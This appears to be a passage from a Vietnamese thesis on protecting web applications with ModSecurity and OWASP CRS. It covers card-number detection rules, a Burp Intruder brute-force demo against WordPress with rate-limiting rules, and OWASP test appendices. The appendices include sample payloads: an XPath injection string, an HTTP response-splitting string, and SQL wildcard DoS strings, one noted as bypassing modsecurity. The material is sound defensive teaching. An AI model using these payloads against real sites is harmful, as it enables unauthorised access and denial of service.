?\d{4})(?:[^\d]|$)" \

"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'MasterCard Credit Card

Number detected in user input',id:'920005',tag:'PCI/10.2',severity:'5'"

# Visa

SecRule ARGS "@verifyCC (?:^|[^\d])(4\d{3}\-?\d{4}\-?\d{2}\-?\d{2}\-

?\d(?:\d{3})??)(?:[^\d]|$)" \

"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'Visa Credit Card Number

detected in user input',id:'920007',tag:'PCI/10.2',severity:'5'"

# American Express

SecRule ARGS "@verifyCC (?:^|[^\d])(3[47]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-

?\d{3})(?:[^\d]|$)" \

"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'American Express Credit

Card Number detected in user input',id:'920009',tag:'PCI/10.2',severity:'5'"

Các rule này sử dụng @verifyCC operator để phân tích mẫu trong dữ liệu trả về phía người

dùng. Các thành phần tiếp theo trong rule sẽ xác định 4 ký tự đầu trong mã thẻ để xách định

loại thẻ tín dụng.

[error] [client 192.168.1.103] ModSecurity: Warning. Pattern match "^(\\\\d{4}\\\\-?)" at

TX:ccdata. [file

"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_25_cc_known.conf"] [line "80"]

[id "920010"] [msg "American Express Credit Card Number sent from site to user"]

[data "Start of CC #: 3723***..."][severity "ALERT"][tag "WASCTC/5.2"] [tag "PCI/3.3"]

[hostname "www.banking.com"][uri "/cart/loginexecute.asp"] [unique_id

"T6wAb38AAQEAAEltA7EAAAAB"]

Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce

Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Brute Force Testing

(OWASP-AT-004)

55


OWASP ModSecurity Core Rule Set (CRS)

o modsecurity_crs_10_config.conf

o modsecurity_crs_11_brute_force.conf

Trong phần minh họa khai thác bruteforce, tôi sử dụng module Intruder trong phần mềm

Burp Suite. Module này cho phép người dùng tùy biến dữ liệu gói tin HTTP và sau đó thực

hiện gởi nội dung đến server.

Hình 12: Giao diện Burp Suite và nội dung đăng nhập Wordpress CMS

Trong phần đăng nhập như hình trên, tôi chỉ định tham số pwd sẽ là nơi thực hiện chèn các

giá trị password trong quá trình bruteforce.

56

Hình 13: Danh sách các password phổ biến

57

Hình 14: Trang web thông báo password không chính xác

Do trang quản trị CMS không giới hạn số lần đăng nhập, nên danh sách password gồm 3424

chuỗi sẽ lần lượt thay thế vào biến pwd. Trong trường hợp người dùng sử dụng mật khẩu yếu,

thì việc tài khoản người dùng bị bẻ gãy xác thực là có thể.

Phòng chống:

Tập tin đầu tiên tôi cần cấu hình là modsecurity_crs_10_setup.conf, thực hiện xóa comment

trong rule 900014:

# -- [[ Brute Force Protection ]] ---------------------------------------------------------

#

# If you are using the Brute Force Protection rule set, then uncomment the following

# lines and set the following variables:

# - Protected URLs: resources to protect (e.g. login pages) - set to your login page

# - Burst Time Slice Interval: time interval window to monitor for bursts

# - Request Threshold: request # threshold to trigger a burst

# - Block Period: temporary block timeout

#Thực hiện thay đổi dòng setvar:'tx.brute_force_protected_urls=/login.jsp

58

#/partner_login.php', bằng đường dẫn trang đăng nhập wordpress.

SecAction \

"id:'900014', \

phase:1, \

t:none, \

setvar:'tx.brute_force_protected_urls=/wp-login.php', \

setvar:'tx.brute_force_burst_time_slice=60', \

setvar:'tx.brute_force_counter_threshold=10', \

setvar:'tx.brute_force_block_timeout=300', \

nolog, \

pass"

Tiếp theo, tôi thực hiện cấu hình tập tin modsecurity_crs_11_brute_force.conf

# Anti-Automation Rule for specific Pages (Brute Force Protection)

# This is a rate-limiting rule set and does not directly correlate whether the

# authentication attempt was successful or not.

# Enforce an existing IP address block and log only 1-time/minute

# We don't want to get flooded by alerts during an attack or scan so

# we are only triggering an alert once/minute. You can adjust how often

# you want to receive status alerts by changing the expirevar setting below.

#

SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "chain,phase:1,id:'981036',block,msg:'Brute

Force Attack Identified from %{tx.real_ip} (%{tx.brute_force_block_counter} hits since last

alert)',setvar:ip.brute_force_block_counter=+1"

SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0"

"setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_fo

rce_block_counter=%{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"

#

# Block and track # of requests but don't log

SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"

"phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"

#

# skipAfter Checks

# There are different scenarios where we don't want to do checks -

# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file

# 2. If the current URL is not listed as a protected URL

# 3. If the current IP address has already been blocked due to high requests

# In these cases, we skip doing the request counts.

#

SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0"

"phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH

ECKS"

SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}"

59


ECKS"

SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"


ECKS"

## Brute Force Counter

# Count the number of requests to these resoures

#

SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"

#

# Check Brute Force Counter

# If the request count is greater than or equal to 50 within 5 mins,

# we then set the burst counter

#

SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}"

"phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar

:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!ip.brute_force_coun

ter"

#

# Check Brute Force Burst Counter and set Block

# Check the burst counter - if greater than or equal to 2, then we set the IP

# block variable for 5 mins and issue an alert.

#

SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2"

"phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} - #

of Request Bursts:

%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc

k=%{tx.brute_force_block_timeout}"

SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS

Những rule này có tác dụng theo dõi việc đăng nhập tại trong wp-login.php. Nếu cùng thời

điểm có nhiền hơn hai kết nối đăng nhập thì ModSecurity sẽ thực hiện hành động chặn kết nối

tạm thời trong 5 phút, đồng thời các cảnh báo sẽ được tạo ra trong log quản trị.

[www.modsec.com/sid#2268fb0][rid#24f74d8][/wp-login.php][5] Rule 238e100: SecRule

"IP:BRUTE_FORCE_BURST_COUNTER" "@ge 2"

"phase:5,id:981043,t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} -

# of Request Bursts:

%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc

k=%{tx.brute_force_block_timeout}"

60

Hình 15: Modsecurity thực hiện chặn các truy vấn vượt mức quy định

61

XII. PHỤ LỤC

DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010

NHÓM STT

INF

OR

MA

TI

ON

GA

TH

ER

ING

1 Spider, Robots and Crawlers OWASP-IG-001

2 Search Engine Discovery/Reconnaissance OWASP-IG-002

3 Identify application entry points OWASP-IG-003

4 Testing for Web Application fingerprint OWASP-IG-004

5 Application Discovery OWASP-IG-005

6 Analysis of Error Codes OWASP-IG-006

CO

NF

IGU

RA

TIO

N

MA

NA

GE

ME

NT

TE

ST

ING

7 SSL/TLS Testing (SSL Version, Algorithms,

Key length, Digital Cert. Validity)

OWASP-CM-001

8 DB Listener Testing OWASP-CM-002

9 Infrastructure Configuration Management

Testing

OWASP-CM-003

10 Application Configuration Management

Testing

OWASP-CM-004

11 Testing for File Extensions Handling OWASP-CM-005

12 Old, backup and unreferenced files OWASP-CM-006

13 Infrastructure and Application Admin

Interface

OWASP-CM-007

14 Testing for HTTP methods and XST OWASP-CM-008

AU

TH

EN

TIC

AT

ION

TE

ST

ING

15 Credentials transport over an encrypted

channel

OWASP-AT-001

16 Testing for user enumeration OWASP-AT-002

17 Testing for Guessable (Dictionary) User

Account

OWASP-AT-003

18 Brute Force Testing OWASP-AT-004

19 Testing for bypassing authentication schema OWASP-AT-005

20 Testing for vulnerable remember password

and pwd reset

OWASP-AT-006

21 Testing for Logout and Browser Cache

Management

OWASP-AT-007

22 Testing for CAPTCHA OWASP-AT-008

23 Testing Multiple Factors Authentication OWASP-AT-009

62

24 Testing for Race Conditions OWASP-AT-010 S

ES

SIO

N

MA

NA

GE

ME

NT

25 Testing for session management schema OWASP-SM-001

26 Testing for Cookies attributes OWASP-SM-002

27 Testing for Session Fixation OWASP-SM-003

28 Testing for Exposed session Variables OWASP-SM-004

29 Testing for CSRF OWASP-SM-005

AU

T

HO

RI

ZA

TIO

N

TE

ST

I

NG

30 Testing for Path Traversal OWASP-AZ-001

31 Testing for bypassing authorization schema OWASP-AZ-002

32 Testing for Privilege Escalation OWASP-AZ-003

BU

SIN

ES

S

LO

GIC

TE

ST

ING

33 Testing for business logic OWASP-BL-001

DA

TA

VA

LID

AT

ION

TE

ST

ING

34 Testing for Reflected Cross Site Scripting OWASP-DV-001

35 Testing for Stored Cross Site Scripting OWASP-DV-002

36 Testing for DOM based Cross Site Scripting OWASP-DV-003

37 Testing for Cross Site Flashing OWASP-DV-004

38 SQL Injection OWASP-DV-005

39 LDAP Injection OWASP-DV-006

40 ORM Injection OWASP-DV-007

41 XML Injection OWASP-DV-008

42 SSI Injection OWASP-DV-009

43 XPath Injection OWASP-DV-010

44 IMAP/SMTP Injection OWASP-DV-011

45 Code Injection OWASP-DV-012

46 OS Commanding OWASP-DV-013

47 Buffer overflow OWASP-DV-014

48 Incubated vulnerability Testing OWASP-DV-015

49 Testing for HTTP Splitting/Smuggling OWASP-DV-016

DE

NIA

L O

F

SE

RV

ICE

TE

ST

ING

50 Testing for SQL Wildcard Attacks OWASP-DS-001

51 Locking Customer Accounts OWASP-DS-002

52 Testing for DoS Buffer Overflows OWASP-DS-003

53 User Specified Object Allocation OWASP-DS-004

63

54 User Input as a Loop Counter OWASP-DS-005

55 Writing User Provided Data to Disk OWASP-DS-006

56 Failure to Release Resources OWASP-DS-007

57 Storing too Much Data in Session OWASP-DS-008

WE

B S

ER

VIC

ES

TE

ST

ING

58 WS Information Gathering OWASP-WS-001

59 Testing WSDL OWASP-WS-002

60 XML Structural Testing OWASP-WS-003

61 XML content-level Testing OWASP-WS-004

62 HTTP GET parameters/REST Testing OWASP-WS-005

63 Naughty SOAP attachments OWASP-WS-006

64 Replay Testing OWASP-WS-007

AJ

AX

TE

ST

IN

G

65 AJAX Vulnerabilities OWASP-AJ-001

66 AJAX Testing OWASP-AJ-002

64

DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB

Tools Category OS Comments Link

Wikto Windo

ws http://www.sensepost.

com/research/wikto/

Nikto Linux

http://www.nessus.org

Paros Web App

Proxy Windo

ws

A Java based web proxy for assessing web application vulnerability. It supports editing/viewing HTTP/HTTPS messages on-the-fly to change items such as cookies and form fields. It includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting.

TamperIE Data

Tampering

Enables HTML-form tampering for penetration testing of web apps

Nessus Vulnerabilit

y Scanner

The Nessus vulnerability scanner, is the world-leader in active scanners, featuring high speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of your security posture. Nessus scanners can be distributed throughout an entire enterprise, inside DMZs, and across physically separate networks.

65

Nmap Web Server

Assessment Tool

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

Wget Web

Mirroring

SamSpade Web

Spidering

Spike Proxy Web

Crawler

Xenu

Curl Secure FTP

curl is a command line tool for transferring files with URL syntax, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberos...), file transfer resume, proxy tunneling and a busload of other useful tricks.

http://curl.haxx.se/

OpenSSL Encryption

tools Assess the strength of SSL servers by testing the ciphers

66

BURP Proxy

Web Vulnerability Scanners

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. It operates as a man-in-the-middle between the end browser and the target web server, and allows the user to intercept, inspect and modify the raw traffic passing in both directions. Burp Proxy allows you to find and exploit application vulnerabilities by monitoring and manipulating critical parameters and other data transmitted by the application. By modifying browser requests in various malicious ways, Burp Proxy can be used to perform attacks such as SQL injection, cookie subversion, privilege escalation, session hijacking, directory traversal and buffer overflows.

SSLDigger Encryption

tools

SSLDigger v1.02 is a tool to assess the strength of SSL servers by testing the ciphers supported. Some of these ciphers are known to be insecure.

HTTrack

HTTPrint Webserver

Fingerprinting tool

httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as mod_security or servermask. httprint can also be used to detect web enabled devices which do not have a server banner string, such as wireless access points, routers, switches, cable modems, etc. httprint uses text signature strings and it is very easy to add signatures to the signature database

67

Webscarab Web

Vulnerability Analysis

WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication.

Foundstone Cookie Digger

DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB

Category Ref. Number

Test Name Vulnerability

Comments Tests Tools

Information Gathering

IG-001 Spiders, Robots and Crawlers

N.A. Analyze Robots with Google Webmaster,

HTTrack,Wikto/Nikto

IG-002 Search Engine Discovery/Reconnaissance

N.A. Information obtained with help of Search Engines

Search google with various google dorks

Goolag scanner, Google Hacking db (Johny), Goolge, Kartoo

IG-003 Identify application entry points

N.A. Identify form parameters, methods HTTP Header analysis

Paros, Webscarab, Tamper IE,

68

Tamper Data

IG-004 Testing for Web Application Fingerprint

N.A. WebServer Details Enumeration

Analyse the HTTP headers HTTP Print, NetCraft

IG-005 Application Discovery

N.A. find Applications hosted in the webserver, non standard ports,

Google for subdomain discovery, Network Tools

nMap,telnet, nessus, host, Netcraft Search DNS service, DNS Stuff Reverse IP Lookup, nslookup, wikto

IG-006 Analysis of Error Codes

Information Disclosure

Grab information disclosed in error codes

Request random page, Login Failed, Remove/add request parameters,Denied dir listing, Create network issues

Software Proxies, Wikto

Configuration Management Testing

CM‐001 SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity) - SSL Weakness

SSL Weakness

Identify SSL service, ciphers, analyse certificate expiry

nMap, Nessus, OpenSSL, SSLDigger

CM‐002 DB Listener Testing - DB Listener weak

DB Listener weak

For Intranet sites

Stop Listener - DOS Attack, Hijack DB (reset pass), Info leakage (log rewrite), Info on Listener, DB & App Config

Integrigy lsnrcheck, LSNRCTL, TNS Listener

69

CM‐003 Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness

Infrastructure Configuration management weakness

Config management for webserver software, back-end database servers, auth servers.

Understand the infrastructure elements interactions, Admin tools review, Ports used, Version check.

CM‐004 Application Configuration Management Testing - Application Configuration management weakness

Application Configuration management weakness

Make sure that all the configuration guidelines are followed

Only enable server modules, Handle Server errors (40*,50*),Minimal Privilege, Software Logging, Overload Handling against DOS (Logs purging check), Log review

CM‐005 Testing for File Extensions Handling - File extensions handling

File extensions handling

Determining how web servers handle requests corresponding to files having different extensions may help to understand web server behaviour depending on the kind of files we try to access(.asa,

Spidering, Googling, Crawling, Manual Inspection

Curl, wget, web mirroring tool, Nessus, Nikto

70

.inc, .db)

CM‐006 Old, backup and unreferenced files - Old, backup and unreferenced files

Old, backup and unreferenced files

Accessing and downloading the backup files which can escape the file restrictions

Check for On-the-fly backup files created, Check comments, Check JS source code, Random guessing of filename, Directory Listing, Search cached files

HTTrack,Wikto/Nikto, Goolag, Spike Proxy

CM‐007 Infrastructure and Application Admin Interfaces - Access to Admin interfaces

Access to Admin interfaces

Try to exploit the admin functions such as User Allocation, Site design/layout, Data manipulation, Configs

Directory and file enumeration, Comments and links in source, Reviewing server and application docs, Alternative server port, Parameter tampering, Seperation of duties check

Webscarab,

CM‐008 Testing for HTTP Methods and XST - HTTP Methods

HTTP Methods enabled, XST permitted, HTTP Ver

Disable PUT, DELETE, CONNECT, TRACE can be checked by using OPTIONS command, XST Testing- Inject JS with Trace comman, XSRF Test-check for HEAD /request

Netcat, TamperIE, Webscarab etc

71

enabled, XST permitted, HTTP Verb

b

Authentication Testing

AT-001 Credentials transport over an encrypted channel - Credentials transport over an encrypted channel

Credentials transport over an encrypted channel

Check referrer whether its HTTP or HTTPS, Check the method used

Wireshark, Proxy

AT-002 Testing for user enumeration - User enumeration

User enumeration

Enumerate all possible valid userids by interacting with the authentication mechanism of the application

Generic login error statement check, return codes/parameter values,Page Titles,Recovery msg, Userid guessing,

Webscarab

AT-003 Testing for Guessable (Dictionary) User Account - Guessable user account

Guessable user account

Default username and passwords check, App name as userid,name of app contacts,another account userid/email, js source,parameters,comments,username /password generation,password policy check,source code - harcoded pass check, Config files check

Brutus, THC Hydra, Burp Intruder, Cain & Abel

72

AT-004 Brute Force Testing - Credentials Brute forcing

Credentials Brute forcing

Dictionary, Search, Rule-Based (pswd masks) Bruteforce attacks

Brutus, THC Hydra, Burp Intruder, Cain & Abel, John the Ripper, OPHCRACK, Rainbow Tables

AT-005 Testing for bypassing authentication schema - Bypassing authentication schema

Bypassing authentication schema

Forward Browsing, Param Modification,Session ID Predication (Session Hijacking), SQL Injection

Webscarab

AT-006 Testing for vulnerable remember password and pwd reset - Vulnerable remember password, weak pwd reset

Vulnerable remember password, weak pwd reset

Understand the password reset procedure, the secret questions asked etc

Secret qns asked?,strength of secret qns,no of qns,no of password reset attempts,whether new password is emailed to primary emailid check. Should not cache the passwords (remember me), Passwords stored in permanent coookies should be hashed. Autocomplete Off enabled.

73

AT-007 Testing for Logout and Browser Cache Management - - Logout function not properly implemented, browser cache weakness

Logout function not properly implemented, browser cache weakness

Session timeout, Logout etc implemented

HTTP.Session.invalidate()-Java, Java.Session.abandon()-.Net implemented. Press back button/reload check,check presense of logout btns in all page, User browser closed instead of session invalidate check,insert Set-Cookie check, Time out interval, Timeout not by client check,Modify the session expiration time at clientside, Check META Cache-Controlin HTML,

Webscarab, Add N Edit Cookies

AT-008 Testing for CAPTCHA - Weak Captcha implementation

Weak Captcha implementation

Completely Automated Public Turing

CAPTCHA Image Complexity, Set of possible answers,Analysing the return encrypted Captcha code, identify the parameters, Reuse the session id of known CAPTCHA, Send old CAPTCHA value with old ID,Send old decoded CAPTCHA value with old session id

CAPTCHA Decoders -PWNtcha,The Captcha Breaker, Captcha Decoder, Online Captcha Decoder.

AT-009 Testing Multiple Factors Authentication - Weak Multiple Factors Authentication

Weak Multiple Factors Authentication

•One‐time password (OTP) generator token. •Grid Card, Scratch Card, or any information that only the legitimate user is supposed to have in his wallet •Crypto devices

74

like USB tokens or smart cards, equipped with X.509 certificates. •Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]

AT-010 Testing for Race Conditions - Race Conditions vulnerability

Race Conditions vulnerability

A race condition is a flaw that produces an unexpected result when the timing of actions impact other actions. An example may be seen on a multithreaded application where actions are being performed on the same data. Race conditions, by their very nature, are difficult to test for

Make multiple simultaneous requests while observing the outcome for unexpected behavior, Manual Code Review

75

Session Management

SM-001 Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token

Bypassing Session Management Schema, Weak Session Token

CookieCollection,CookieReverseEngineering,CookieManipulation.

Unencrypted Cookie Transport,Presence of persistent cookies,Cache-Control Settings, SessionID Analysis-SensitiveInfo, Randomness, Cryptanalysis, BruteForce

Webscarab,BurpProxy, FoundStone Cookie Digger

SM-002 Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity

Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity

";secure", HTTPOnly - Always set, "; domain=app.mysite.com", "; path=/myapp/", expires-Future Value => inspect for sensitive data

Webscarab,BurpProxy,Paros, TamperIE/Data

SM-003 Testing for Session Fixation - Session Fixation

Session Fixation

The application doesn’t renew the cookie after auth -Session hijacking

Webscarab

SM-004 Testing for Exposed Session Variables - Exposed sensitive session

Exposed sensitive session variables

Encryption & Reuse of Session Tokens vulnerabilities, Proxies & Caching vulnerabilities,TGET & POST vulnerabilities, Transport vulnerabilities

76

variables

SM-005 Testing for CSRF - CSRF

CSRF URL Analysis and auth requirements.

Authorization Testing

AZ-001 Testing for Path Traversal - Path Traversal

Path Traversal

Proper Implementation of ACLs, Check server side includes

a) Input vector enumeration b) Testing Techniques dot-dot-slash attack (../), directory traversal,directory climbing, or backtracking

Grep, Nikto, Burp Suite, Paros, Webscarab

AZ-002 Testing for bypassing authorization schema - Bypassing authorization schema

Bypassing authorization schema

Access a resource without authentication/after logout, Forceful Browsing

77

AZ-003 Testing for Privilege Escalation - Privilege Escalation

Privilege Escalation

vertical escalation when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to horizontal escalation when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).

Testing for role/privilege manipulatio - Manipulate the values of hidden variables , analyse the error messages etc

Proxy Tools

78

Business logic testing

BL-001 Testing for Business Logic - Bypassable business logic

Bypassable business logic

Bypass the actual workflow required to complete a process

*Understanding the application *Creating raw data for designing logical tests (Workflows, ACLs) *Designing the logical tests *Standard prerequisites *Execution of logical tests

Automated tools fails

Data Validation Testing

DV-001 Testing for Reflected Cross Site Scripting - Reflected XSS

Reflected XSS

Check for input validation, try out different combinations of XSS vectors

1. Detect input vectors. 2. Analyze each input vector to detect potential vulnerabilities 3. Replace the vector used to identify XSS with the vector which can exploit the vulnerability.

CAL9000, Rsnake XSSdb, XSSMe firefox addon, XSS proxy, WebScarab, Rat proxy, Burp Proxy

DV-002 Testing for Stored Cross Site Scripting - Stored XSS

Stored XSS

Impacts *Hijacking another user's browser *Capturing sensitive information viewed by application users *Pseudo defacement of the application *Port scanning of internal hosts ("internal" in relation to the users of the web application)

1.Input Forms 2.Analyze HTML code 3.Leverage Stored XSS with BeEF 4.File Upload

CAL9000, Hackvertor, XSSProxy, BeEF, WebScarab

79

*Directed delivery of browser‐based exploits *Other malicious activities

DV-003 Testing for DOM based Cross Site Scripting - DOM XSS

DOM XSS

This happens mostly due to poor javascript coding.

Test for the user inputs obtained from client‐side JavaScript objects

Automated tools fails

DV-004 Testing for Cross Site Flashing - Cross Site Flashing

Cross Site Flashing

Working for actionscript 2.0 files

1.Decompile 2.Undefined Variables 3.Unsafe methods 4.Include malicious SWF

SWFIntruder, Flare, Flasm

80

DV-005 SQL Injection - SQL Injection

SQL Injection

1.Inband (retrieved data in the webpage) 2.Out-of-band (data sent through email or other means) 3.Inferential (Analyse the behaviour of Dbserver)

Test Categories 1.Authentication Forms, 2.Search Engine, 3.E-Commerce sites Tests 1.Heuristic Analysis(' , : , --) 2.Construct SQL Injection Vectors 3.Analyse Error Messages

OWASP SQLiX SQL Power Injector sqlbftools sqlmap SqlDumper sqlninja

DV-006 LDAP Injection - LDAP Injection

LDAP Injection

Ability to • Access unauthorized content • Evade Application restrictions • Gather unauthorized information • Add or modify Objects inside LDAP tree structure.

Softerra LDAP Browser

DV-007 ORM Injection - ORM Injection

ORM Injection

Object Relational Mapping tool. ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord

Black box testing for ORM Injection vulnerabilities is identical to SQL Injection testing

81

for Ruby on Rails, EZPDO for PHP and many others.

DV-008 XML Injection - XML Injection

XML Injection

Check with XML Meta Characters ', " , <>, , &, <![CDATA[ / ]]>,

DV-009 SSI Injection - SSI Injection

SSI Injection

* Presense of .shtml extension * Check for these characters < ! # = / . " - > and [a-zA-Z0-9] * include String = 

Burp Suit, WebScarab, Paros

DV-010 XPath Injection - XPath Injection

XPath Injection

Unlike SQL, there are not ACLs enforced, as our query can access every part of the XML document

* Check for XML error enumeration by supplying a single quote (') * Username: ' or '1' = '1 Password: ' or '1' = '1

82

DV-011 IMAP/SMTP Injection - IMAP/SMTP Injection

IMAP/SMTP Injection

• Exploitation of vulnerabilities in the IMAP/SMTP protocol • Application restrictions evasion • Anti-automation process evasion • Information leaks • Relay/SPAM The standard attack patterns are: • Identifying vulnerable parameters • Understanding the data flow and deployment structure of the client • IMAP/SMTP command injection

DV-012 Code Injection - Code Injection

Code Injection

Enter commands in the input field

DV-013 OS Commanding - OS Commanding

OS Commanding

Understand the application platform, OS, folder structure, relative path and execute those

Webscarab

DV-014 Buffer overflow - Buffer overflow

Buffer overflow

• Testing for heap overflow vulnerability • Testing for stack overflow vulnerability • Testing for format string vulnerability

OllyDbg, Spike, Brute Force Binary Tester (BFB), Metasploit. RATS, Flawfinder and ITS4 are available for analyzing C-style languages

83

DV-015 Incubated vulnerability - Incubated vulnerability

Incubated vulnerability

File Upload, Stored XSS , SQL/XPATH Injection, Manage server files via server misconfigs

XSS-proxy, Paros, Burp, Metasploit

DV-016 Testing for HTTP Splitting/Smuggling - HTTP Splitting, Smuggling

HTTP Splitting, Smuggling

Outcome - Cache Poisoning/XSS

param=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>

Denial of Service Testing

DS-001 Testing for SQL Wildcard Attacks - SQL Wildcard vulnerability

SQL Wildcard vulnerability

• Starting with % and ending with % will generally cause longer running queries. • Some search implementations may cache search results. During the testing, every search query should be slightly different to

• '%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_%' • '%64_[^!_%65/%aa?F%64_D)_(F%64)_%36([)({}%33){()}£$&N%55_)$*£()$*R"_)][%55](%66[x])%ba ][$*"£$-9]_%54' bypasses modsecurity • _[r/a)_ _(r/b)_ _(r-d)_ • %n[^n]y[^j]l[^k]d[^l]h[^z]t[^k]b[^q]t[^q][^n]!% • %_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%

84

avoid this.

DS-002 Locking Customer Accounts - Locking Customer Accounts

Locking Customer Accounts

Wrong Attempts Valid Username enumeration - Login Page, New User Reg Page, Password Reset Page

DS-003 Testing for DoS Buffer Overflows - Buffer Overflows

Buffer Overflows

if you have received a response (or a lack of) that makes you believe that the

Submit large inputs and check how the server responds

85

overflow has occurred, attempt to make another request to the server and see if it still responds.

DS-004 User Specified Object Allocation - User Specified Object Allocation

User Specified Object Allocation

If the application does not pose an upper limit to the number of items that can be in any given moment inside the user electronic cart, you can write an automated script that keeps adding items to the user cart until the cart object fills the server memory.

DS-005 User Input as a Loop Counter - User Input as a Loop Counter

User Input as a Loop Counter

if the user can directly or indirectly assign a value that will be used as a counter in a loop function, this can cause performance problems on the server.

86

DS-006 Writing User Provided Data to Disk - Writing User Provided Data to Disk

Writing User Provided Data to Disk

1. The tester submits an extremely long value to the server in the request, and the application logs the value directly without having validated that it conforms to what was expected. 2. The application may have data validation to verify the submitted value being well formed and of proper length, but then still log the failed value (for auditing or error tracking purposes) into an application log.

87

DS-007 Failure to Release Resources - Failure to Release Resources

Failure to Release Resources

• An application locks a file for writing, and then an exception occurs but does not explicitly close and unlock the file • Memory leaking in languages where the developer is responsible for memory management such as C & C++. In the case where an error causes normal logic flow to be circumvented, the allocated memory may not be removed and may be left in such a state that the garbage collector does not know it should be reclaimed • Use of DB connection objects where the objects are not being freed if an exception is thrown. A number of such repeated requests can cause the application to consume all the DB connections, as the code will still hold the open DB object, never releasing the resource.

88

DS-008 Storing too Much Data in Session - Storing too Much Data in Session

Storing too Much Data in Session

The developer may have chosen to cache the records in the session instead of returning to the database for the next block of data. If this is suspected, create a script to automate the creation of many new sessions with the server and run the request that is suspected of caching the data within the session for each one. Let the script run for a while, and then observe the responsiveness of the application for new sessions. It may be possible that a Virtual Machine (VM) or even the server itself will begin to run out of memory because of this attack.

Web Services Testing

WS-001 WS Information Gathering - N.A.

N.A. curl --request POST --header “Content-type: text/xml --data @my_request.xml http://api.google.com/search/beta2

* inurl:wsdl site:example.com * Web Services Discovery DISCO, UDDI * http://seekda.com * http://www.wsindex.org * http://www.soapclient.com

Net Square wsPawn, SOAPClient4XG, CURL, Perl - SOAPlite, OWASP WebScarab: Web Services plugin, WSDigger

89

WS-002 Testing WSDL - WSDL Weakness

WSDL Weakness

WebScarab, WSDigger

WS-003 XML Structural Testing - Weak XML Structure

Weak XML Structure

* A web service utilizing DOM-based parsing can be "upset" by including a very large payload in the XML message, which the parser would be obliged to parse * Binary attachments - Large BLOB * WSDigger contains sample attack plug-ins for SQL injection, XSS, XPATH injection attacks

WebScarab, WSDigger

WS-004 XML content-level Testing - XML content-level

XML content-level

1) SQL Injection or XPath injection 2) Buffer Overflow and 3) Command Injection.

WebScarab, MetaSploit

WS-005 HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST

WS HTTP GET parameters/REST

